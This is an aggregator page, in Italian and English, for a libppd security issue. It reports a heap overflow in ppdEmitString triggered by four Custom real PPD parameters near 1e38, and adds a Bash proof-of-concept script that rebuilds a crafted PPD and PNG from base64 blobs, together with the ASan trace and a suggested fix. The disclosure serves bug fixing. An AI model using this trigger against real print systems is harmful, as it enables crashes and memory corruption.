libppd: Custom real parameters overflow ppdEmitString

Aperta
#84 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
66/100
Tipo di issue
Bug
Chiarezza
Specificata chiaramente
Stato di attività
Tranquilla
Stack tecnologico
c
Ambito
security

Direzione di ricerca

Inizia con ppd-emit.c alle righe 783 e 1096, poi esamina string.c:239 ed esegui ./reproduce.sh con il PPD fornito e la modalità di controllo. La correzione è completa quando il trigger a quattro parametri non produce più una scrittura ASan, mentre il controllo a due parametri continua a terminare con 0, e i valori finiti accettati vengono gestiti in sicurezza.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Summary

ppdEmitString() reserves only ten bytes for each marked Custom numeric
parameter. Four legal real values near 1e38 each format to roughly 38
bytes, causing _ppdStrFormatd() and subsequent emission to write past a
202-byte heap allocation.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The relevant source is byte-identical at both revisions.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28,
defines four Custom real parameters with range 0..1e38.

Run ./reproduce.sh. MODE=control ./reproduce.sh marks only two parameters;
the default marks all four:

AuditMulti="{ P1=1e38 P2=1e38 P3=1e38 P4=1e38 }"

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: Custom real parameters overflow ppdEmitString
# Finding ID: libppd-custom-real-emit-heap-overflow
# Trigger: ppdEmitString() reserves only ten bytes for each marked Custom
# numeric parameter. Four legal real values near 1e38 each format to roughly
# 38 bytes, causing _ppdStrFormatd() and subsequent emission to write past a
# 202-byte heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1625 bytes)
write_file printer.ppd 780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61UTU/jMBC991dYPUEl6qTpp4WQoIDUVUstCntZ7cFNhmKtY0eOjdj++h33g6Ts
IuWwh0bWmzfjmfem7nB+e3GdmTUw0u53k3arc29sLtx3sKU0ukKlggqLuxFic6E3Xmwq/E5vlCxf
q8idTk0m9YaR2Wo5F07quNVZCO1fROq8BYu1Vouni3u/3YLFkguTgXoQeWjnUZQOrDNFqt7JE+SF
Eg6Qs3o11j3I9NeBhwVq0VrgqwJ8GqapslGDLv5CxJrMpw7hs1rV8xBZVdOfJVEcnZMgQeqL8iOA
quyR/RQ+X4cBjxhOLdTUFBJKRu6FKmEfwF7cTghRFEqmKJLR9E1n3RC8sLsZSERsbZjDxXw6R8mz
b2aN2TrYpjCyLEA/z0jn2mfSLbxyku6OJA9nRjgKtNR4+dJmYG8B6Rno9Dcjw4hwNG0Fzhf1/Fbn
Fl4EnioIyyghdavG2iN098V+sJOpMiU8z9hprakvnclreU/WByMKUwSdhRX5XxQeUx6jwMSCUChG
DMn4S26P8h4jvUbchPKEkaQRt095n5F+I+6A8gEjg0bcIeVDFL8Rd0T5iJFRI+6Y8jEj40bcCeUT
RiaNuHGEZkToRtSMHrwL5jVzL0b7YvQv/mTgca13Gyq3UFvkw3ZWkTk4/K+0PrgHAJfs8pIewR9D
vGI06f2ks1xs8JG6uTHvRHulrq5KcAXSMniTKZxs8jH7tKFH2OxegH+1dIzVm9pj/7mtfdGPu0M6
iLWCa9Sxuv4ErjqIxyQZksGkT0aDYbs2QIFvhMxBl5+GqONVmUPz7dYf2HjjulkGAAA=
POC_PAYLOAD_1

Result

The two-parameter control exits 0. The four-parameter trigger aborts with
ASan WRITE of size 1 in _ppdStrFormatd() at string.c:239, immediately
after the heap region allocated by ppdEmitString().

The real filter path reaches the overflow before reading the 1-by-1 PNG:

imagetops -> ppdFilterLoadPPD -> ppdLoadAttributes
 -> ppdRasterInterpretPPD -> ppdEmitString

This is a heap write controlled by PPD parameter definitions and job option
values. It is not demonstrated as an arbitrary-address write.

Cause and expected behavior

The size estimate at ppd-emit.c:783 assigns ten bytes to each numeric value,
while line 1096 formats a real value with %.12f. The estimate is not an
upper bound for the accepted real range.

Emission should use a two-pass bounded formatter or grow the buffer after
measuring every formatted parameter. PPD ranges and finite values must also be
validated before marking.

Lingua principale
C
Stelle
5
Fork
29
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Guida per i contributori

Apri la guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di OpenPrinting/libppd

Tutte le issue di OpenPrinting/libppd

Issue simili

Altre issue su C

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.